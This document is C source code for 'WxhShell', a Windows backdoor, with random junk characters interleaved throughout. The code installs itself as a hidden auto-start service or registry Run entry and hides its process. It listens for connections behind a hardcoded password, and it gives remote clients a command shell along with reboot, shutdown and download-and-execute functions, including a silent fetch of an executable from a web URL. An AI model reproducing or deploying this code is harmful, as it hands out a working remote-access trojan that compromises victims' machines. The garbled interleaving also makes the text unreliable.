g g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); (E0 g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); .r<aPy$ NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); :jl*Y-mM C:J;'[,S if (!NtQueryInformationProcess) return 0; fkzSX8a9} 2H|:/y hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); /e '3\,2_ if(!hProcess) return 0; LW]fme<V? =*,SD if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; V^2_]VFj =#G
2}8mQD CloseHandle(hProcess); N*-tBz {q0+PzgP hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); u<BU4c/p if(hProcess==NULL) return 0; -&8( MT* l'+3
6 HMODULE hMod; 'cs(gc0 char procName[255]; j?.F-ar unsigned long cbNeeded; F<* / J] 1VX3pkUET if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ~wb1sn3 QQ3<)i CloseHandle(hProcess); >j5\J_(;D m+Ye`] if(strstr(procName,"services")) return 1; // 以服务启动 +FTc/r "Lbsq\W> return 0; // 注册表启动 q3$8"Q^ } [A-_?#cZ Nn. 9J // 主模块 dDa V2:4E int StartWxhshell(LPSTR lpCmdLine) ~`OX}h/Z { <,]:jgX SOCKET wsl; JtL>mH BOOL val=TRUE; t}q
e_c int port=0; ZLkl:'E_ struct sockaddr_in door; DK4yAR,g 1X?ro; if(wscfg.ws_autoins) Install(); .Mq#88o.* &K9;GZS? port=atoi(lpCmdLine); &uNec(c _ .v G) if(port<=0) port=wscfg.ws_port; }
!m43x/& @Po5AK3cy WSADATA data; iE~!?N|a3 if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; g&Vhu8kNIA }Ce9R2
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 7OV^>"S setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); @j46Ig4~b door.sin_family = AF_INET; ')uYI;h9 door.sin_addr.s_addr = inet_addr("127.0.0.1"); zKQ<Zr door.sin_port = htons(port); HGQ</5Z sfM"!{7 if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { FZe/3sY closesocket(wsl);
=z.j{% return 1; boo361L } )pWgt5:7~ oB:7R^a if(listen(wsl,2) == INVALID_SOCKET) { \`n(JV closesocket(wsl); l;; 2\mL? return 1; Y6jyU1> } C(N'=-;Kl Wxhshell(wsl); %rW}x[M%w? WSACleanup(); my'nDi "<CM'R return 0; }.&nEi` clE9I<1v } VeA@HC`?" 2f,8Jnia // 以NT服务方式启动 ='7m$,{(Q[ VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) -$d?e%}# { c#OxI*,+/ DWORD status = 0; ? x%s
j DWORD specificError = 0xfffffff; b;i*}4h! h3MdQlJ& serviceStatus.dwServiceType = SERVICE_WIN32; :@L7RZ`_ serviceStatus.dwCurrentState = SERVICE_START_PENDING; 72<9xNcB!} serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; x5lVb$!G serviceStatus.dwWin32ExitCode = 0; xIM,0xM2 serviceStatus.dwServiceSpecificExitCode = 0; 3q]0gU&?? serviceStatus.dwCheckPoint = 0; VE\L&d2S serviceStatus.dwWaitHint = 0; m eF7[>!U */aY$aWv hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); +b|F_ if (hServiceStatusHandle==0) return; k6tCfq; =M\yh,s! status = GetLastError(); bxXpw& if (status!=NO_ERROR) >q}3#TvP@ { 0Wr<l%M)+ serviceStatus.dwCurrentState = SERVICE_STOPPED; 14,)JZN serviceStatus.dwCheckPoint = 0; UTA|Ps$ serviceStatus.dwWaitHint = 0; k[Em~>m serviceStatus.dwWin32ExitCode = status; H=/1d.p serviceStatus.dwServiceSpecificExitCode = specificError; ]iV]7g8: SetServiceStatus(hServiceStatusHandle, &serviceStatus); <5zR-UA> return; oC&}lp)q } `G\
qGllX N*IroT3 serviceStatus.dwCurrentState = SERVICE_RUNNING; ti5fsc serviceStatus.dwCheckPoint = 0; 4 9qa serviceStatus.dwWaitHint = 0; e@'x7Zzh if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 8FsQLeOE } t[|oSF#i }z]d] // 处理NT服务事件,比如:启动、停止 UF9={fN1 VOID WINAPI NTServiceHandler(DWORD fdwControl) M\1CDU+*Ns { -laH^<jm5 switch(fdwControl) HhbBt'fH { $(1t~u<17 case SERVICE_CONTROL_STOP: {v"f){ serviceStatus.dwWin32ExitCode = 0; :5kDc"
=Z| serviceStatus.dwCurrentState = SERVICE_STOPPED; !?,,
ZD serviceStatus.dwCheckPoint = 0; 7K"3[. serviceStatus.dwWaitHint = 0; zteu{0 { ]3,'U(!+ SetServiceStatus(hServiceStatusHandle, &serviceStatus); <J8c dB!e } ?eJ' $ return; *bK=<{d1P case SERVICE_CONTROL_PAUSE: Y>$5j}K serviceStatus.dwCurrentState = SERVICE_PAUSED; u(9pRr
L break; +)c<s3OCE case SERVICE_CONTROL_CONTINUE: q;K]NP-_p serviceStatus.dwCurrentState = SERVICE_RUNNING; (B#FLoK break; R@\fqNq case SERVICE_CONTROL_INTERROGATE: _S_,rTf& break; F8%^Ed~@ }; 4MC]s~n SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6~dAK3v5 } O"\4[HE^ S^s-md> // 标准应用程序主函数 Ar%*NxX int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) M6-uTmN:d { $QiMA, dsIbr"m // 获取操作系统版本 eF3NyL(A OsIsNt=GetOsVer(); ?V`-z#y7 GetModuleFileName(NULL,ExeFile,MAX_PATH); a^_K@ I
Fw7?G, // 从命令行安装 Lg\3DzM if(strpbrk(lpCmdLine,"iI")) Install(); wBt7S!>G !
fk W;| // 下载执行文件 <Sot{_"li if(wscfg.ws_downexe) { BA
a:!p if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ,ei9 ?9J1 WinExec(wscfg.ws_filenam,SW_HIDE); 6*,55,y } 4K cEJlK5 *zRig|k !H if(!OsIsNt) { shw?_#?1dy // 如果时win9x,隐藏进程并且设置为注册表启动 ?>7\L'n=5I HideProc(); T"\d,ug5[ StartWxhshell(lpCmdLine); veDv14 } zlLZ8b+ else 3Ei^WDJ if(StartFromService()) W[jg+| // 以服务方式启动 0\i\G|5 StartServiceCtrlDispatcher(DispatchTable); 6jpzyf=~ else +[}y`
-t // 普通方式启动 @<K<"`~H StartWxhshell(lpCmdLine);
yz [pF aG1Fj[, return 0; q}i#XQU } V@0T&# wPU5L*/*i Y6wr}U $mxG-'x%K =========================================== :{<|,3oNdR WvU[9ME^) X
-1r$. a;$V;3C{b& 2IJniS=[> Xau%v5r " 1n8y4k) Q`i@['?p #include <stdio.h> A^lm 0[3q #include <string.h> U*nB=
= #include <windows.h> wQW`Er3w #include <winsock2.h> .i\FK@2 #include <winsvc.h> j&ti "|2\ #include <urlmon.h> )pI( < G=qlE?j`j #pragma comment (lib, "Ws2_32.lib") =U84*HAv #pragma comment (lib, "urlmon.lib") 5CnNp?.t^ `U0XvWPr[ #define MAX_USER 100 // 最大客户端连接数 /'oo;e #define BUF_SOCK 200 // sock buffer 9ad`q+kY #define KEY_BUFF 255 // 输入 buffer xkf2; f)vnm*&- #define REBOOT 0 // 重启 xS,F
DPA #define SHUTDOWN 1 // 关机 #Q2s3"X[ .LAB8bg #define DEF_PORT 5000 // 监听端口 i:Y5aZc/Ds t7-r YY( #define REG_LEN 16 // 注册表键长度 ~_BjcY #define SVC_LEN 80 // NT服务名长度 ?uCL[ fFEB#l!oUb // 从dll定义API [cDkmRV typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); R?{_Q<17 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); tF[)Y# typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); m
+A4aQ9 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); )E9c6'd O<fy^[r:` // wxhshell配置信息 ]9_tto!/ struct WSCFG { 1.%|Er 4 int ws_port; // 监听端口 ]U@~vA#'' char ws_passstr[REG_LEN]; // 口令 jhRr! int ws_autoins; // 安装标记, 1=yes 0=no _G)A$6weU char ws_regname[REG_LEN]; // 注册表键名 ;Q3[} ]su char ws_svcname[REG_LEN]; // 服务名 62;xK-U char ws_svcdisp[SVC_LEN]; // 服务显示名 nK< v char ws_svcdesc[SVC_LEN]; // 服务描述信息 (e_<~+E char ws_passmsg[SVC_LEN]; // 密码输入提示信息 = ~s+<9c] int ws_downexe; // 下载执行标记, 1=yes 0=no _an0G?7 char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" q4X(_t char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ftmPdha%+ bOU"s>? }; Sa)sDf1+` aid1eF // default Wxhshell configuration ,J 2qLH1 struct WSCFG wscfg={DEF_PORT, NPv.7, "xuhuanlingzhe", w\[l4|g` 1, ?9?A)?O<j~ "Wxhshell", =LY`K# "Wxhshell", V ~jp "WxhShell Service", ,XscO7 "Wrsky Windows CmdShell Service", N, u]2,E "Please Input Your Password: ", {oOUIP 1, {tYY
_BI< "http://www.wrsky.com/wxhshell.exe", W*iTg%a\k "Wxhshell.exe" nGX3_-U4 }; {nM1$ |[r7B*fw // 消息定义模块 kE6/d, char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; RU#}!Kq char *msg_ws_prompt="\n\r? for help\n\r#>"; &b>&XMIK char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; G8'{nPA~ char *msg_ws_ext="\n\rExit."; t<c7%i#Od char *msg_ws_end="\n\rQuit."; ObZhQ.& char *msg_ws_boot="\n\rReboot..."; RFsUb:%V7- char *msg_ws_poff="\n\rShutdown..."; x?A<X2 char *msg_ws_down="\n\rSave to "; *Dq ++ | )
cJ char *msg_ws_err="\n\rErr!"; 7L:Eg char *msg_ws_ok="\n\rOK!"; ,_$J-F? ]}Ys4(} char ExeFile[MAX_PATH]; 7V@r^/`8N int nUser = 0; &tbAXU5$ HANDLE handles[MAX_USER]; 6n]jx:CZ, int OsIsNt; 3O4,LXdA :G98uX t SERVICE_STATUS serviceStatus; Fnk@)1 SERVICE_STATUS_HANDLE hServiceStatusHandle; 3 ;" [WOv /
j "}e_Q // 函数声明 [< g9jX5 int Install(void); *[i49X&rd int Uninstall(void); 5"G-r._ int DownloadFile(char *sURL, SOCKET wsh); Nk7=[y#z int Boot(int flag); u,:hT]
~+ void HideProc(void); GL>YJ% int GetOsVer(void); Yx,E5}- int Wxhshell(SOCKET wsl); _'G'>X>}WU void TalkWithClient(void *cs); G3y8M|: int CmdShell(SOCKET sock); ]7TOA$Q int StartFromService(void); UsA fZg8 int StartWxhshell(LPSTR lpCmdLine); E ,ilJl\ 5|jY VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); a0k;way VOID WINAPI NTServiceHandler( DWORD fdwControl ); ]iW:YNvXA QoUdTIIL // 数据结构和表定义 _R]0S SERVICE_TABLE_ENTRY DispatchTable[] = }M(xN6E { 'aV'Am+: {wscfg.ws_svcname, NTServiceMain}, -B/'ArOo] {NULL, NULL} S W6oaa81 }; K 0o F=| xR$T/] / // 自我安装 f`;w@gR`= int Install(void) bbjEQby { 4P5^.\. char svExeFile[MAX_PATH]; vP#*if[V5 HKEY key; B R strcpy(svExeFile,ExeFile); 4 7mT ZXo;E // 如果是win9x系统,修改注册表设为自启动 ~s-gnp if(!OsIsNt) { tBJ4lb if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { RcJtVOrd RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); a {x3FQ RegCloseKey(key); ?zC{T*a if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { T(Yp90'6 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); G0Z5 h RegCloseKey(key); Vg,nNa3 return 0; \K"7U } ZDL1H3;R } QL7.QG
} qs\Cwn! else { y]PuY\+ ?+yM3As9_V // 如果是NT以上系统,安装为系统服务 N<b2xT SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); >r\GB#\5 if (schSCManager!=0)
mT -[I<
{ $aU.M3
SC_HANDLE schService = CreateService JvvN>bg ( j[R.UB3J schSCManager, S[7^#O.) wscfg.ws_svcname, tw.GBR wscfg.ws_svcdisp, *aS+XnT/ SERVICE_ALL_ACCESS, jTg~]PQ^ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 5_](N$$ SERVICE_AUTO_START, d^M*%a z SERVICE_ERROR_NORMAL, !x
~s`z svExeFile, "P|n'Mx NULL, WvArppANo NULL, 5oCg&aT NULL, ~4=*kJ#7 NULL, RR:%"4M NULL mj9sX^$dE ); A/:_uqm4 if (schService!=0) 2ry@<88 { 4'`P+p"A CloseServiceHandle(schService); 0fvOA*UP CloseServiceHandle(schSCManager); S2\;\?]^~ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 5rbb
,* strcat(svExeFile,wscfg.ws_svcname); +XO\#$o>W if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { })70S8k RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); [[^95: RegCloseKey(key); :] U\{;q2 return 0; ,YvOk|@R } +a N8l1 } q1eMK'1 CloseServiceHandle(schSCManager); 8kdJtEW3 } T\$i=,_$ } <},JWV3 Nb9GrYIS return 1; >"=DN5w
,S } |LbAW/9a ^Y+C!I // 自我卸载 *{+{h;p int Uninstall(void) #O;JV}y { \5! 7zPc HKEY key; NZ i3U g<;::'6 if(!OsIsNt) { ,e9M%VIu6[ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { IaSpF<&Y; RegDeleteValue(key,wscfg.ws_regname); 2'- "&d+O RegCloseKey(key); MYjc6@=cR if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ojlyW})$% RegDeleteValue(key,wscfg.ws_regname); *-5N0K<kQ RegCloseKey(key); Q0K$ZWM`7 return 0; KgkRs?'z } N2'aC}
I } %>=6v}f,+ } YK6'/2! else { $qYP|W M$Z2"F; SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); t>?tWSNf if (schSCManager!=0) *n EkbI/ { x,U_x SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); E}S%yD[ if (schService!=0) 51y"#\7 { <nqv)g"u0 if(DeleteService(schService)!=0) { mrnPZf i CloseServiceHandle(schService); lTq"j?#E]m CloseServiceHandle(schSCManager); e*lL. return 0; M:}u| } b=/'cQ CloseServiceHandle(schService); f4Y)GO<R] } HW~-GcU-o CloseServiceHandle(schSCManager); qT(6T P } xIa7F$R 0 } D 6y,Q jci,]*X4 return 1; 0] } oS..y($TI y-bUVw!Y // 从指定url下载文件 ?hkOL$v<9} int DownloadFile(char *sURL, SOCKET wsh) n8F5z|/ { }}tbOD)t HRESULT hr; m?<E >-bI char seps[]= "/"; ~o%igJ
}.C char *token; @lE'D":? char *file; /
}$n_N\!) char myURL[MAX_PATH]; |0=UZK7%O char myFILE[MAX_PATH]; ,n8\y9{G sNo8o1Hby strcpy(myURL,sURL); i}DS+~8v token=strtok(myURL,seps); kc^,V|Nbq6 while(token!=NULL) @pYEzizP7 { iI IXv file=token; LO{Axf% token=strtok(NULL,seps); PZusYeV8b } *l+Dbm,u qiOJ:'@ GetCurrentDirectory(MAX_PATH,myFILE); [MFnS",7c strcat(myFILE, "\\"); s||" } l strcat(myFILE, file); ,u2Qkw send(wsh,myFILE,strlen(myFILE),0); PY^#hC5: send(wsh,"...",3,0); P$z_A8} hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); {k)gDJU if(hr==S_OK) \\FT.e6 return 0; .N
qXdari else
jhm??Af return 1; m<-ShRr*b I}
jgz } 3@gsKtA&H4 V|_
h[hXE // 系统电源模块 rR#Ditn^ int Boot(int flag) Y/FPkH4 { h0rPMd(K HANDLE hToken; 8XB[CbO TOKEN_PRIVILEGES tkp; ^'V :T Y rKrHd if(OsIsNt) { f
5v&4 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ?@.v*'qR LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Jo\P,-\( tkp.PrivilegeCount = 1; h<Aq|* tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ai/|qYf AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); _?I{>:!| if(flag==REBOOT) { cl%+m if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) V]p{jLG return 0; 3x0t[{l } IFp%Ta else { {6zNCO if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 5 aA*
~\ return 0; hGz_F/ } Kp`{-dUf } \EySKQ= else { C1k< P if(flag==REBOOT) { =:^aBN# if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) L"m^LyU return 0; QJVbt }
}~/b%^ else { %tyo(HZQ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 43PLURay return 0; u=.8M`FxP } "B_3<RSL } zsg\|=P OM*c7& return 1; 4 O!2nP } Tnp
P ' Qq<@;4 // win9x进程隐藏模块 gc.Lh~ void HideProc(void) #J"xByQKK { N*o{BboK; q!ZM Wg HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); |58HPW9 if ( hKernel != NULL ) !ZYPz}&N_ { `x[Is$ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ^m |@pp ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); m2j&0z FreeLibrary(hKernel); x}+zhRJ } fST.p|b7 p0Jr{hM return; : {p'U2 }
d y HC8 "b} mVrFh // 获取操作系统版本 K~TwyB-h int GetOsVer(void) fMUcVTFe { Lx0nLJ\ OSVERSIONINFO winfo; cS;3,#$ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); SVe]2ONd GetVersionEx(&winfo); g+ c*VmY if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ^65I,Z" return 1; O3} JOv_ else v675C# l( return 0; ?QOU9"@+B } `q?3ux b@Ej$t& // 客户端句柄模块 UM oj9/- int Wxhshell(SOCKET wsl) }L\;W:0 { &k:xr,N= SOCKET wsh; oD)]4| struct sockaddr_in client; ^_WR) F'K DWORD myID;
LR97FG e4S@ J/D while(nUser<MAX_USER) @Rr=uf G { !5`MiH int nSize=sizeof(client); .-d'*$
yJ wsh=accept(wsl,(struct sockaddr *)&client,&nSize); xXe3E& if(wsh==INVALID_SOCKET) return 1; mZ+!8$1X @^{`!>Vt handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); XO+BZB`F if(handles[nUser]==0) im<bo Mv closesocket(wsh); Er;/zxg9p else %{u@{uG0'3 nUser++; nip6|dN } |oY{TQ<<d WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); $1yO Zp5 lsz3'!%Y) return 0; VOEV[?>ss } 4p:d#,?r Bs "D<r&ro // 关闭 socket m\&|#yq void CloseIt(SOCKET wsh) >q"dLZ { h `Lr5)B' closesocket(wsh); S!(3-{nC nUser--; n'~==2 ExitThread(0); 7he73 } 1m*)MZ) F.[%0b E // 客户端请求句柄 lLD#|T3 void TalkWithClient(void *cs) \V? .^/ { mY"7/dw<v TnF~'RZYb SOCKET wsh=(SOCKET)cs; )DgXsT char pwd[SVC_LEN]; 1G>Ud6(3< char cmd[KEY_BUFF]; %'Cj~An char chr[1]; nu0pzq\6 int i,j; 8y
LcTA$T }]x \ `}o while (nUser < MAX_USER) { 9\Ii$Mp [LYO'-g^F# if(wscfg.ws_passstr) { F%w!I 9 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); w!F>fcm //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); s<I)THC //ZeroMemory(pwd,KEY_BUFF); AO-5>r i=0; IMf|/a9- while(i<SVC_LEN) { 8 v/H;65 msl.{ // 设置超时 W A/dt2D| fd_set FdRead; A@A8xn% struct timeval TimeOut; hA7=:LG FD_ZERO(&FdRead); ;ku>_sG- FD_SET(wsh,&FdRead); \+
se%O TimeOut.tv_sec=8; :""HyjY! TimeOut.tv_usec=0; 'RjEdLrI int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); _.5{vGyxr if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 'OY4Q'Z hb`9Vn\-E if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); \|PiQy*_? pwd=chr[0]; Z@bgJL83 if(chr[0]==0xd || chr[0]==0xa) { -CvmZ:n pwd=0; dbf<k%i6 break; H$`U]
=s| } \c_g9Iqa i++; qc8Ge\3s } OSBR2Z;= M':-f3aT% // 如果是非法用户,关闭 socket V:\:[KcL^ if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); csP4Oq\g[ } A8%
e_XA lc,k-}n send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); m?e/MQr send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ~74Sq'j9Wt 25X|N=} while(1) { 7-744wV}Z (\6E.Z# ZeroMemory(cmd,KEY_BUFF); 5CI{&E _^iY;& // 自动支持客户端 telnet标准 *!QmYH5r0 j=0; Ip
t;NlR while(j<KEY_BUFF) { 1eI*.pt if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); @Jd&[T27Lr cmd[j]=chr[0]; )!8qJQD if(chr[0]==0xa || chr[0]==0xd) { T`#nn| cmd[j]=0; yYz{*hq break; |`T7}U } -.D?Z8e j++; v=k+MvX } i}m'#b d{fd5jv; // 下载文件 lR?y
tIY if(strstr(cmd,"http://")) { !tq]kKJ3: send(wsh,msg_ws_down,strlen(msg_ws_down),0); &y?
|$p\;/ if(DownloadFile(cmd,wsh)) :8yebOs send(wsh,msg_ws_err,strlen(msg_ws_err),0); IdmP!(u else ![z2]L+TB send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); nCYz];". } SeHrj&5U else { S{^x]h|? bxE~tsM"@Y switch(cmd[0]) { aL(G0@( A$2
;Bf // 帮助 ka_m
Q<{9 case '?': { #9GfMxH send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ?`RlYu break; }?2X
q } Xt$qjtVM // 安装 ,
z\Qd07u case 'i': { ]L3U2H`7 if(Install()) WJ8i=MO67 send(wsh,msg_ws_err,strlen(msg_ws_err),0); $%EX~$=m]- else h0F=5| B send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {
j_-iF break; ]xRR/S4 } i!YfR]"} // 卸载 _hY6NMw case 'r': { ?o(284sV3 if(Uninstall()) LATizu
send(wsh,msg_ws_err,strlen(msg_ws_err),0); "`M~=RiI else Zh8\B)0unn send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); H9WYt# break; P00G*iY~\ } :Wbp|:N0 // 显示 wxhshell 所在路径 k|OM?\ case 'p': { SPqJ
[F char svExeFile[MAX_PATH]; uO4
LD}A strcpy(svExeFile,"\n\r"); 3eY>LWx strcat(svExeFile,ExeFile); 'xS@cFo( send(wsh,svExeFile,strlen(svExeFile),0); Noj*K6 break; vA6`};| } ;Z*rY?v // 重启 eg;r38 case 'b': { %oiF} > send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); oG)T>L[& if(Boot(REBOOT)) %U{6 `m send(wsh,msg_ws_err,strlen(msg_ws_err),0); +2MF#{ tS else { EMnz;/dMt closesocket(wsh); dNR/| ExitThread(0); G@P;#l`(D } (1x8DVXNN break; j& |